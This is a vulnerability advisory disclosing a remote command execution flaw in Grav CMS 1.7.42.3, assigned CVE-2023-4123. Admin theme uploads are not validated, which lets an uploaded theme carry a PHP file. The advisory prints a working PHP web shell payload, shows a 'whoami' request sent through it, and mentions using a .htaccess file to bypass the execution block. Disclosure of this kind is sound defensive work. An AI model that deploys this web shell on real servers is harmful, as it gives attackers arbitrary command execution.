grav 1.7.42.3 - Remote Command Execution
Summary
| Name | grav 1.7.42.3 - Remote Command Execution |
| Code name | |
| Product | grav 1.7.42.3 |
| Affected versions | Version 1.7.42.3 |
| State | Private |
| Release date | 2023-08-11 |
Vulnerability
| Kind | Remote Command Execution |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U/RC:C |
| CVSSv3.1 Base Score | 8.0 |
| Exploit available | Yes |
| CVE ID(s) |
Description
grav allows an user to execute commands on the server by abusing the manual install themes functionality
Vulnerability
A Remote Command Execution (RCE) vulnerability has been identified in grav, a admin user or a user with Super User privilegies can upload manual themes, this functionality does not check the integrity of the packages or perform any other type of validation on the uploaded themes, with this flaw we can add a php shell we also need to add a default .htaccess file to bypass the default configuration that prevents the execution of php files in the themes folder in the folder.
Exploitation
In the Portal of grav , we need to go to Tools -> Direct Install and Upload our theme with the payload:
<?php $cmd=$_GET['cmd']; system($cmd); ?>
after that, we need to visit the theme path with our shell
server/user/themes/material-lite/images/poc.php?cmd=whoami
Our security policy
We have reserved the ID CVE-2023-4123 to refer to this issue from now on.
System Information
-
Version: grav 1.7.42.3
-
Operating System: Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Ronald Hernandez from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/getgrav/grav
Timeline
2023-07-26
Vulnerability discovered.
2023-07-26
Vendor contacted.
2023-08-11
Public Disclosure.
